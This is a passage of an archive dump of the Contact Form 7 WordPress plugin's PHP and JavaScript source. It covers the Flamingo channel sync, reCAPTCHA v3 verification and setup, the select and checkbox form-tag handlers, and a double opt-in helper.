	$post_meta = get_post_meta( $contact_form->id(), '_flamingo', true );

	$channel = isset( $post_meta['channel'] )
		? get_term( $post_meta['channel'],
				Flamingo_Inbound_Message::channel_taxonomy
			)
		: get_term_by( 'slug', $contact_form->name(),
				Flamingo_Inbound_Message::channel_taxonomy
			);

	if ( ! $channel or is_wp_error( $channel ) ) {
		return;
	}

	if ( $channel->name !== wp_unslash( $contact_form->title() ) ) {
		wp_update_term( $channel->term_id,
			Flamingo_Inbound_Message::channel_taxonomy,
			array(
				'name' => $contact_form->title(),
				'slug' => $contact_form->name(),
				'parent' => $channel->parent,
			)
		);
	}
}


add_filter( 'wpcf7_special_mail_tags', 'wpcf7_flamingo_serial_number', 10, 4 );

/**
 * Returns output string of a special mail-tag.
 *
 * @param string $output The string to be output.
 * @param string $name The tag name of the special mail-tag.
 * @param bool $html Whether the mail-tag is used in an HTML content.
 * @param WPCF7_MailTag $mail_tag An object representation of the mail-tag.
 * @return string Output of the given special mail-tag.
 */
function wpcf7_flamingo_serial_number( $output, $name, $html, $mail_tag = null ) {
	if ( ! $mail_tag instanceof WPCF7_MailTag ) {
		wpcf7_doing_it_wrong(
			sprintf( '%s()', __FUNCTION__ ),
			__( 'The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class.', 'contact-form-7' ),
			'5.2.2'
		);
	}

	if ( '_serial_number' != $name ) {
		return $output;
	}

	if ( ! class_exists( 'Flamingo_Inbound_Message' )
	or ! method_exists( 'Flamingo_Inbound_Message', 'count' ) ) {
		return $output;
	}

	if ( ! $contact_form = WPCF7_ContactForm::get_current() ) {
		return $output;
	}

	$post_meta = get_post_meta( $contact_form->id(), '_flamingo', true );

	$channel_id = isset( $post_meta['channel'] )
		? (int) $post_meta['channel']
		: wpcf7_flamingo_add_channel(
				$contact_form->name(), $contact_form->title()
			);

	if ( $channel_id ) {
		return 1 + (int) Flamingo_Inbound_Message::count(
			array( 'channel_id' => $channel_id )
		);
	}

	return 0;
}
contact-form-7/modules/recaptcha/index.js000064400000001646147510273060014367 0ustar00document.addEventListener("DOMContentLoaded",(e=>{var t;wpcf7_recaptcha={...null!==(t=wpcf7_recaptcha)&&void 0!==t?t:{}};const c=wpcf7_recaptcha.sitekey,{homepage:n,contactform:a}=wpcf7_recaptcha.actions,o=e=>{const{action:t,func:n,params:a}=e;grecaptcha.execute(c,{action:t}).then((e=>{const c=new CustomEvent("wpcf7grecaptchaexecuted",{detail:{action:t,token:e}});document.dispatchEvent(c)})).then((()=>{"function"==typeof n&&n(...a)})).catch((e=>console.error(e)))};if(grecaptcha.ready((()=>{o({action:n})})),document.addEventListener("change",(e=>{o({action:a})})),"undefined"!=typeof wpcf7&&"function"==typeof wpcf7.submit){const e=wpcf7.submit;wpcf7.submit=(t,c={})=>{o({action:a,func:e,params:[t,c]})}}document.addEventListener("wpcf7grecaptchaexecuted",(e=>{const t=document.querySelectorAll('form.wpcf7-form input[name="_wpcf7_recaptcha_response"]');for(let c=0;c<t.length;c++)t[c].setAttribute("value",e.detail.token)}))}));contact-form-7/modules/recaptcha/service.php000064400000020142147510273060015063 0ustar00<?php

if ( ! class_exists( 'WPCF7_Service' ) ) {
	return;
}

class WPCF7_RECAPTCHA extends WPCF7_Service {

	private static $instance;
	private $sitekeys;
	private $last_score;


	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}


	private function __construct() {
		$this->sitekeys = WPCF7::get_option( 'recaptcha' );
	}


	public function get_title() {
		return __( 'reCAPTCHA', 'contact-form-7' );
	}


	public function is_active() {
		$sitekey = $this->get_sitekey();
		$secret = $this->get_secret( $sitekey );
		return $sitekey && $secret;
	}


	public function get_categories() {
		return array( 'spam_protection' );
	}


	public function icon() {
	}


	public function link() {
		echo wpcf7_link(
			'https://www.google.com/recaptcha/intro/index.html',
			'google.com/recaptcha'
		);
	}


	public function get_global_sitekey() {
		static $sitekey = '';

		if ( $sitekey ) {
			return $sitekey;
		}

		if ( defined( 'WPCF7_RECAPTCHA_SITEKEY' ) ) {
			$sitekey = WPCF7_RECAPTCHA_SITEKEY;
		}

		$sitekey = apply_filters( 'wpcf7_recaptcha_sitekey', $sitekey );

		return $sitekey;
	}


	public function get_global_secret() {
		static $secret = '';

		if ( $secret ) {
			return $secret;
		}

		if ( defined( 'WPCF7_RECAPTCHA_SECRET' ) ) {
			$secret = WPCF7_RECAPTCHA_SECRET;
		}

		$secret = apply_filters( 'wpcf7_recaptcha_secret', $secret );

		return $secret;
	}


	public function get_sitekey() {
		if ( $this->get_global_sitekey() and $this->get_global_secret() ) {
			return $this->get_global_sitekey();
		}

		if ( empty( $this->sitekeys )
		or ! is_array( $this->sitekeys ) ) {
			return false;
		}

		$sitekeys = array_keys( $this->sitekeys );

		return $sitekeys[0];
	}


	public function get_secret( $sitekey ) {
		if ( $this->get_global_sitekey() and $this->get_global_secret() ) {
			return $this->get_global_secret();
		}

		$sitekeys = (array) $this->sitekeys;

		if ( isset( $sitekeys[$sitekey] ) ) {
			return $sitekeys[$sitekey];
		} else {
			return false;
		}
	}


	protected function log( $url, $request, $response ) {
		wpcf7_log_remote_request( $url, $request, $response );
	}


	public function verify( $token ) {
		$is_human = false;

		if ( empty( $token ) or ! $this->is_active() ) {
			return $is_human;
		}

		$endpoint = 'https://www.google.com/recaptcha/api/siteverify';

		if ( apply_filters( 'wpcf7_use_recaptcha_net', false ) ) {
			$endpoint = 'https://www.recaptcha.net/recaptcha/api/siteverify';
		}

		$sitekey = $this->get_sitekey();
		$secret = $this->get_secret( $sitekey );

		$request = array(
			'body' => array(
				'secret' => $secret,
				'response' => $token,
			),
		);

		$response = wp_remote_post( sanitize_url( $endpoint ), $request );

		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return $is_human;
		}

		$response_body = wp_remote_retrieve_body( $response );
		$response_body = json_decode( $response_body, true );

		$this->last_score = $score = isset( $response_body['score'] )
			? $response_body['score']
			: 0;

		$threshold = $this->get_threshold();
		$is_human = $threshold < $score;

		$is_human = apply_filters( 'wpcf7_recaptcha_verify_response',
			$is_human, $response_body );

		if ( $submission = WPCF7_Submission::get_instance() ) {
			$submission->push( 'recaptcha', array(
				'version' => '3.0',
				'threshold' => $threshold,
				'response' => $response_body,
			) );
		}

		return $is_human;
	}


	public function get_threshold() {
		return apply_filters( 'wpcf7_recaptcha_threshold', 0.50 );
	}


	public function get_last_score() {
		return $this->last_score;
	}


	protected function menu_page_url( $args = '' ) {
		$args = wp_parse_args( $args, array() );

		$url = menu_page_url( 'wpcf7-integration', false );
		$url = add_query_arg( array( 'service' => 'recaptcha' ), $url );

		if ( ! empty( $args ) ) {
			$url = add_query_arg( $args, $url );
		}

		return $url;
	}


	protected function save_data() {
		WPCF7::update_option( 'recaptcha', $this->sitekeys );
	}


	protected function reset_data() {
		$this->sitekeys = null;
		$this->save_data();
	}


	public function load( $action = '' ) {
		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
			check_admin_referer( 'wpcf7-recaptcha-setup' );

			if ( ! empty( $_POST['reset'] ) ) {
				$this->reset_data();
				$redirect_to = $this->menu_page_url( 'action=setup' );
			} else {
				$sitekey = trim( $_POST['sitekey'] ?? '' );
				$secret = trim( $_POST['secret'] ?? '' );

				if ( $sitekey and $secret ) {
					$this->sitekeys = array( $sitekey => $secret );
					$this->save_data();

					$redirect_to = $this->menu_page_url( array(
						'message' => 'success',
					) );
				} else {
					$redirect_to = $this->menu_page_url( array(
						'action' => 'setup',
						'message' => 'invalid',
					) );
				}
			}

			if ( WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) {
				WPCF7::update_option( 'recaptcha_v2_v3_warning', false );
			}

			wp_safe_redirect( $redirect_to );
			exit();
		}
	}


	public function admin_notice( $message = '' ) {
		if ( 'invalid' === $message ) {
			wp_admin_notice(
				sprintf(
					'<strong>%1$s</strong>: %2$s',
					esc_html( __( "Error", 'contact-form-7' ) ),
					esc_html( __( "Invalid key values.", 'contact-form-7' ) )
				),
				'type=error'
			);
		}

		if ( 'success' === $message ) {
			wp_admin_notice(
				esc_html( __( "Settings saved.", 'contact-form-7' ) ),
				'type=success'
			);
		}
	}


	public function display( $action = '' ) {
		echo sprintf(
			'<p>%s</p>',
			esc_html( __( "reCAPTCHA protects you against spam and other types of automated abuse. With Contact Form 7&#8217;s reCAPTCHA integration module, you can block abusive form submissions by spam bots.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<p><strong>%s</strong></p>',
			wpcf7_link(
				__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
				__( 'reCAPTCHA (v3)', 'contact-form-7' )
			)
		);

		if ( $this->is_active() ) {
			echo sprintf(
				'<p class="dashicons-before dashicons-yes">%s</p>',
				esc_html( __( "reCAPTCHA is active on this site.", 'contact-form-7' ) )
			);
		}

		if ( 'setup' == $action ) {
			$this->display_setup();
		} else {
			echo sprintf(
				'<p><a href="%1$s" class="button">%2$s</a></p>',
				esc_url( $this->menu_page_url( 'action=setup' ) ),
				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
			);
		}
	}


	private function display_setup() {
		$sitekey = $this->is_active() ? $this->get_sitekey() : '';
		$secret = $this->is_active() ? $this->get_secret( $sitekey ) : '';

?>
<form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
<?php wp_nonce_field( 'wpcf7-recaptcha-setup' ); ?>
<table class="form-table">
<tbody>
<tr>
	<th scope="row"><label for="sitekey"><?php echo esc_html( __( 'Site Key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( $sitekey );
			echo sprintf(
				'<input type="hidden" value="%1$s" id="sitekey" name="sitekey" />',
				esc_attr( $sitekey )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%1$s" id="sitekey" name="sitekey" class="regular-text code" />',
				esc_attr( $sitekey )
			);
		}
	?></td>
</tr>
<tr>
	<th scope="row"><label for="secret"><?php echo esc_html( __( 'Secret Key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( wpcf7_mask_password( $secret, 4, 4 ) );
			echo sprintf(
				'<input type="hidden" value="%1$s" id="secret" name="secret" />',
				esc_attr( $secret )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%1$s" id="secret" name="secret" class="regular-text code" />',
				esc_attr( $secret )
			);
		}
	?></td>
</tr>
</tbody>
</table>
<?php
		if ( $this->is_active() ) {
			if ( $this->get_global_sitekey() and $this->get_global_secret() ) {
				// nothing
			} else {
				submit_button(
					_x( 'Remove Keys', 'API keys', 'contact-form-7' ),
					'small', 'reset'
				);
			}
		} else {
			submit_button( __( 'Save Changes', 'contact-form-7' ) );
		}
?>
</form>
<?php
	}
}
contact-form-7/modules/recaptcha/recaptcha.php000064400000012644147510273060015365 0ustar00<?php
/**
 * reCAPTCHA module main file
 *
 * @link https://contactform7.com/recaptcha/
 */

wpcf7_include_module_file( 'recaptcha/service.php' );


add_action( 'wpcf7_init', 'wpcf7_recaptcha_register_service', 40, 0 );

/**
 * Registers the reCAPTCHA service.
 */
function wpcf7_recaptcha_register_service() {
	$integration = WPCF7_Integration::get_instance();

	$integration->add_service( 'recaptcha',
		WPCF7_RECAPTCHA::get_instance()
	);
}


add_action(
	'wp_enqueue_scripts',
	'wpcf7_recaptcha_enqueue_scripts',
	20, 0
);

/**
 * Enqueues frontend scripts for reCAPTCHA.
 */
function wpcf7_recaptcha_enqueue_scripts() {
	$service = WPCF7_RECAPTCHA::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	$url = 'https://www.google.com/recaptcha/api.js';

	if ( apply_filters( 'wpcf7_use_recaptcha_net', false ) ) {
		$url = 'https://www.recaptcha.net/recaptcha/api.js';
	}

	wp_register_script( 'google-recaptcha',
		add_query_arg(
			array(
				'render' => $service->get_sitekey(),
			),
			$url
		),
		array(),
		'3.0',
		array( 'in_footer' => true )
	);

	$assets = include(
		wpcf7_plugin_path( 'modules/recaptcha/index.asset.php' )
	);

	$assets = wp_parse_args( $assets, array(
		'dependencies' => array(),
		'version' => WPCF7_VERSION,
	) );

	wp_register_script(
		'wpcf7-recaptcha',
		wpcf7_plugin_url( 'modules/recaptcha/index.js' ),
		array_merge(
			$assets['dependencies'],
			array(
				'google-recaptcha',
				'wp-polyfill',
			)
		),
		$assets['version'],
		array( 'in_footer' => true )
	);

	wp_enqueue_script( 'wpcf7-recaptcha' );

	$wpcf7_recaptcha_obj = array(
		'sitekey' => $service->get_sitekey(),
		'actions' => apply_filters( 'wpcf7_recaptcha_actions', array(
			'homepage' => 'homepage',
			'contactform' => 'contactform',
		) ),
	);

	wp_add_inline_script( 'wpcf7-recaptcha',
		sprintf(
			'var wpcf7_recaptcha = %s;',
			wp_json_encode( $wpcf7_recaptcha_obj, JSON_PRETTY_PRINT )
		),
		'before'
	);
}


add_filter(
	'wpcf7_form_hidden_fields',
	'wpcf7_recaptcha_add_hidden_fields',
	100, 1
);

/**
 * Adds hidden form field for reCAPTCHA.
 */
function wpcf7_recaptcha_add_hidden_fields( $fields ) {
	$service = WPCF7_RECAPTCHA::get_instance();

	if ( ! $service->is_active() ) {
		return $fields;
	}

	return array_merge( $fields, array(
		'_wpcf7_recaptcha_response' => '',
	) );
}


add_filter( 'wpcf7_spam', 'wpcf7_recaptcha_verify_response', 9, 2 );

/**
 * Verifies reCAPTCHA token on the server side.
 */
function wpcf7_recaptcha_verify_response( $spam, $submission ) {
	if ( $spam ) {
		return $spam;
	}

	$service = WPCF7_RECAPTCHA::get_instance();

	if ( ! $service->is_active() ) {
		return $spam;
	}

	$token = trim( $_POST['_wpcf7_recaptcha_response'] ?? '' );

	if ( $service->verify( $token ) ) { // Human
		$spam = false;
	} else { // Bot
		$spam = true;

		if ( '' === $token ) {
			$submission->add_spam_log( array(
				'agent' => 'recaptcha',
				'reason' => __(
					'reCAPTCHA response token is empty.',
					'contact-form-7'
				),
			) );
		} else {
			$submission->add_spam_log( array(
				'agent' => 'recaptcha',
				'reason' => sprintf(
					__(
						'reCAPTCHA score (%1$.2f) is lower than the threshold (%2$.2f).',
						'contact-form-7'
					),
					$service->get_last_score(),
					$service->get_threshold()
				),
			) );
		}
	}

	return $spam;
}


add_action( 'wpcf7_init', 'wpcf7_recaptcha_add_form_tag_recaptcha', 10, 0 );

/**
 * Registers form-tag types for reCAPTCHA.
 */
function wpcf7_recaptcha_add_form_tag_recaptcha() {
	$service = WPCF7_RECAPTCHA::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	wpcf7_add_form_tag( 'recaptcha',
		'__return_empty_string', // no output
		array( 'display-block' => true )
	);
}


add_action( 'wpcf7_upgrade', 'wpcf7_upgrade_recaptcha_v2_v3', 10, 2 );

/**
 * Adds warnings for users upgrading from reCAPTCHA v2 to v3.
 */
function wpcf7_upgrade_recaptcha_v2_v3( $new_ver, $old_ver ) {
	if ( version_compare( '5.1-dev', $old_ver, '<=' ) ) {
		return;
	}

	$service = WPCF7_RECAPTCHA::get_instance();

	if ( ! $service->is_active() or $service->get_global_sitekey() ) {
		return;
	}

	// Maybe v2 keys are used now. Warning necessary.
	WPCF7::update_option( 'recaptcha_v2_v3_warning', true );
	WPCF7::update_option( 'recaptcha', null );
}


add_action( 'wpcf7_admin_menu', 'wpcf7_admin_init_recaptcha_v2_v3', 10, 0 );

/**
 * Adds filters and actions for warnings.
 */
function wpcf7_admin_init_recaptcha_v2_v3() {
	if ( ! WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) {
		return;
	}

	add_filter(
		'wpcf7_admin_menu_change_notice',
		'wpcf7_admin_menu_change_notice_recaptcha_v2_v3',
		10, 1
	);

	add_action(
		'wpcf7_admin_warnings',
		'wpcf7_admin_warnings_recaptcha_v2_v3',
		5, 3
	);
}


/**
 * Increments the admin menu counter for the Integration page.
 */
function wpcf7_admin_menu_change_notice_recaptcha_v2_v3( $counts ) {
	$counts['wpcf7-integration'] += 1;
	return $counts;
}


/**
 * Prints warnings on the admin screen.
 */
function wpcf7_admin_warnings_recaptcha_v2_v3( $page, $action, $object ) {
	if ( 'wpcf7-integration' !== $page ) {
		return;
	}

	$message = sprintf(
		esc_html( __(
			"API keys for reCAPTCHA v3 are different from those for v2; keys for v2 do not work with the v3 API. You need to register your sites again to get new keys for v3. For details, see %s.",
			'contact-form-7'
		) ),
		wpcf7_link(
			__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
			__( 'reCAPTCHA (v3)', 'contact-form-7' )
		)
	);

	wp_admin_notice( $message, 'type=warning' );
}
contact-form-7/modules/recaptcha/index.asset.php000064400000000121147510273060015643 0ustar00<?php

return array(
	'dependencies' => array(),
	'version' => WPCF7_VERSION,
);
contact-form-7/modules/select.php000064400000014412147510273060012753 0ustar00<?php
/**
** A base module for [select] and [select*]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_select', 10, 0 );

function wpcf7_add_form_tag_select() {
	wpcf7_add_form_tag( array( 'select', 'select*' ),
		'wpcf7_select_form_tag_handler',
		array(
			'name-attr' => true,
			'selectable-values' => true,
		)
	);
}

function wpcf7_select_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );

	$atts['autocomplete'] = $tag->get_option(
		'autocomplete', '[-0-9a-zA-Z]+', true
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$multiple = $tag->has_option( 'multiple' );
	$include_blank = $tag->has_option( 'include_blank' );
	$first_as_label = $tag->has_option( 'first_as_label' );

	if ( $tag->has_option( 'size' ) ) {
		$size = $tag->get_option( 'size', 'int', true );

		if ( $size ) {
			$atts['size'] = $size;
		} elseif ( $multiple ) {
			$atts['size'] = 4;
		} else {
			$atts['size'] = 1;
		}
	}

	if ( $data = (array) $tag->get_data_option() ) {
		$tag->values = array_merge( $tag->values, array_values( $data ) );
		$tag->labels = array_merge( $tag->labels, array_values( $data ) );
	}

	$values = $tag->values;
	$labels = $tag->labels;

	$default_choice = $tag->get_default_option( null, array(
		'multiple' => $multiple,
	) );

	if ( $include_blank
	or empty( $values ) ) {
		array_unshift(
			$labels,
			__( '&#8212;Please choose an option&#8212;', 'contact-form-7' )
		);
		array_unshift( $values, '' );
	} elseif ( $first_as_label ) {
		$values[0] = '';
	}

	$html = '';
	$hangover = wpcf7_get_hangover( $tag->name );

	foreach ( $values as $key => $value ) {
		if ( $hangover ) {
			$selected = in_array( $value, (array) $hangover, true );
		} else {
			$selected = in_array( $value, (array) $default_choice, true );
		}

		$item_atts = array(
			'value' => $value,
			'selected' => $selected,
		);

		$label = isset( $labels[$key] ) ? $labels[$key] : $value;

		$html .= sprintf(
			'<option %1$s>%2$s</option>',
			wpcf7_format_atts( $item_atts ),
			esc_html( $label )
		);
	}

	$atts['multiple'] = (bool) $multiple;
	$atts['name'] = $tag->name . ( $multiple ? '[]' : '' );

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><select %2$s>%3$s</select>%4$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$html,
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_select_rules',
	10, 2
);

function wpcf7_swv_add_select_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'type' => array( 'select*' ),
	) );

	foreach ( $tags as $tag ) {
		$schema->add_rule(
			wpcf7_swv_create_rule( 'required', array(
				'field' => $tag->name,
				'error' => wpcf7_get_message( 'invalid_required' ),
			) )
		);
	}
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_select_enum_rules',
	20, 2
);

function wpcf7_swv_add_select_enum_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'select' ),
	) );

	$values = array_reduce(
		$tags,
		function ( $values, $tag ) {
			if ( ! isset( $values[$tag->name] ) ) {
				$values[$tag->name] = array();
			}

			$tag_values = array_merge(
				(array) $tag->values,
				(array) $tag->get_data_option()
			);

			if ( $tag->has_option( 'first_as_label' ) ) {
				$tag_values = array_slice( $tag_values, 1 );
			}

			$values[$tag->name] = array_merge(
				$values[$tag->name],
				$tag_values
			);

			return $values;
		},
		array()
	);

	foreach ( $values as $field => $field_values ) {
		$field_values = array_map(
			static function ( $value ) {
				return html_entity_decode(
					(string) $value,
					ENT_QUOTES | ENT_HTML5,
					'UTF-8'
				);
			},
			$field_values
		);

		$field_values = array_filter(
			array_unique( $field_values ),
			static function ( $value ) {
				return '' !== $value;
			}
		);

		$schema->add_rule(
			wpcf7_swv_create_rule( 'enum', array(
				'field' => $field,
				'accept' => array_values( $field_values ),
				'error' => $contact_form->filter_message(
					__( "Undefined value was submitted through this field.", 'contact-form-7' )
				),
			) )
		);
	}
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_menu', 25, 0 );

function wpcf7_add_tag_generator_menu() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'menu', __( 'drop-down menu', 'contact-form-7' ),
		'wpcf7_tag_generator_menu',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_menu( $contact_form, $options ) {
	$field_types = array(
		'select' => array(
			'display_name' => __( 'Drop-down menu', 'contact-form-7' ),
			'heading' => __( 'Drop-down menu form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/checkboxes-radio-buttons-and-menus/">drop-down menu</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['select']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['select']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				'select' => $field_types['select']['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );

		$tgg->print( 'selectable_values', array(
			'first_as_label' => true,
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/doi-helper.php000064400000001332147510273060013521 0ustar00<?php
/**
 * Double Opt-In Helper module
 *
 * @link https://contactform7.com/doi-helper/
 */


add_action( 'wpcf7_doi', 'wpcf7_doihelper_start_session', 10, 3 );

/**
 * Starts a double opt-in session.
 */
function wpcf7_doihelper_start_session( $agent_name, $args, &$token ) {
	if ( isset( $token ) ) {
		return;
	}

	if ( ! function_exists( 'doihelper_start_session' ) ) {
		return;
	}

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission ) {
		return;
	}

	$contact_form = $submission->get_contact_form();

	$do_doi = apply_filters( 'wpcf7_do_doi',
		! $contact_form->is_false( 'doi' ),
		$agent_name,
		$args
	);

	if ( ! $do_doi ) {
		return;
	}

	$token = doihelper_start_session( $agent_name, $args );
}
contact-form-7/modules/checkbox.php000064400000023026147510273060013263 0ustar00<?php
/**
** A base module for [checkbox], [checkbox*], and [radio]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_checkbox', 10, 0 );

function wpcf7_add_form_tag_checkbox() {
	wpcf7_add_form_tag( array( 'checkbox', 'checkbox*', 'radio' ),
		'wpcf7_checkbox_form_tag_handler',
		array(
			'name-attr' => true,
			'selectable-values' => true,
			'multiple-controls-container' => true,
		)
	);
}

function wpcf7_checkbox_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$label_first = $tag->has_option( 'label_first' );
	$use_label_element = $tag->has_option( 'use_label_element' );
	$exclusive = $tag->has_option( 'exclusive' );
	$free_text = $tag->has_option( 'free_text' );
	$multiple = false;

	if ( 'checkbox' == $tag->basetype ) {
		$multiple = ! $exclusive;
	} else { // radio
		$exclusive = false;
	}

	if ( $exclusive ) {
		$class .= ' wpcf7-exclusive-checkbox';
	}

	$atts = array();

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();

	if ( $validation_error ) {
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	}

	$tabindex = $tag->get_option( 'tabindex', 'signed_int', true );

	if ( false !== $tabindex ) {
		$tabindex = (int) $tabindex;
	}

	$html = '';
	$count = 0;

	if ( $data = (array) $tag->get_data_option() ) {
		if ( $free_text ) {
			$tag->values = array_merge(
				array_slice( $tag->values, 0, -1 ),
				array_values( $data ),
				array_slice( $tag->values, -1 )
			);

			$tag->labels = array_merge(
				array_slice( $tag->labels, 0, -1 ),
				array_values( $data ),
				array_slice( $tag->labels, -1 )
			);
		} else {
			$tag->values = array_merge( $tag->values, array_values( $data ) );
			$tag->labels = array_merge( $tag->labels, array_values( $data ) );
		}
	}

	$values = $tag->values;
	$labels = $tag->labels;

	$default_choice = $tag->get_default_option( null, array(
		'multiple' => $multiple,
	) );

	$hangover = wpcf7_get_hangover( $tag->name, $multiple ? array() : '' );

	foreach ( $values as $key => $value ) {
		if ( $hangover ) {
			$checked = in_array( $value, (array) $hangover, true );
		} else {
			$checked = in_array( $value, (array) $default_choice, true );
		}

		if ( isset( $labels[$key] ) ) {
			$label = $labels[$key];
		} else {
			$label = $value;
		}

		$item_atts = array(
			'type' => $tag->basetype,
			'name' => $tag->name . ( $multiple ? '[]' : '' ),
			'value' => $value,
			'checked' => $checked,
			'tabindex' => $tabindex,
		);

		$item_atts = wpcf7_format_atts( $item_atts );

		if ( $label_first ) { // put label first, input last
			$item = sprintf(
				'<span class="wpcf7-list-item-label">%1$s</span><input %2$s />',
				esc_html( $label ),
				$item_atts
			);
		} else {
			$item = sprintf(
				'<input %2$s /><span class="wpcf7-list-item-label">%1$s</span>',
				esc_html( $label ),
				$item_atts
			);
		}

		if ( $use_label_element ) {
			$item = '<label>' . $item . '</label>';
		}

		if ( false !== $tabindex and 0 < $tabindex ) {
			$tabindex += 1;
		}

		$class = 'wpcf7-list-item';
		$count += 1;

		if ( 1 == $count ) {
			$class .= ' first';
		}

		if ( count( $values ) == $count ) { // last round
			$class .= ' last';

			if ( $free_text ) {
				$free_text_name = sprintf( '_wpcf7_free_text_%s', $tag->name );

				$free_text_atts = array(
					'name' => $free_text_name,
					'class' => 'wpcf7-free-text',
					'tabindex' => $tabindex,
				);

				if ( wpcf7_is_posted()
				and isset( $_POST[$free_text_name] ) ) {
					$free_text_atts['value'] = wp_unslash( $_POST[$free_text_name] );
				}

				$free_text_atts = wpcf7_format_atts( $free_text_atts );

				$item .= sprintf( ' <input type="text" %s />', $free_text_atts );

				$class .= ' has-free-text';
			}
		}

		$item = '<span class="' . esc_attr( $class ) . '">' . $item . '</span>';
		$html .= $item;
	}

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><span %2$s>%3$s</span>%4$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$html,
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_checkbox_rules',
	10, 2
);

function wpcf7_swv_add_checkbox_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'checkbox', 'radio' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() or 'radio' === $tag->type ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'required', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		if ( 'radio' === $tag->type or $tag->has_option( 'exclusive' ) ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'maxitems', array(
					'field' => $tag->name,
					'threshold' => 1,
					'error' => $contact_form->filter_message(
						__( "Too many items are selected.", 'contact-form-7' )
					),
				) )
			);
		}
	}
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_checkbox_enum_rules',
	20, 2
);

function wpcf7_swv_add_checkbox_enum_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'checkbox', 'radio' ),
	) );

	$values = array_reduce(
		$tags,
		function ( $values, $tag ) {
			if ( $tag->has_option( 'free_text' ) ) {
				$values[$tag->name] = 'free_text';
			}

			if (
				isset( $values[$tag->name] ) and
				! is_array( $values[$tag->name] ) // Maybe 'free_text'
			) {
				return $values;
			}

			if ( ! isset( $values[$tag->name] ) ) {
				$values[$tag->name] = array();
			}

			$tag_values = array_merge(
				(array) $tag->values,
				(array) $tag->get_data_option()
			);

			$values[$tag->name] = array_merge(
				$values[$tag->name],
				$tag_values
			);

			return $values;
		},
		array()
	);

	foreach ( $values as $field => $field_values ) {
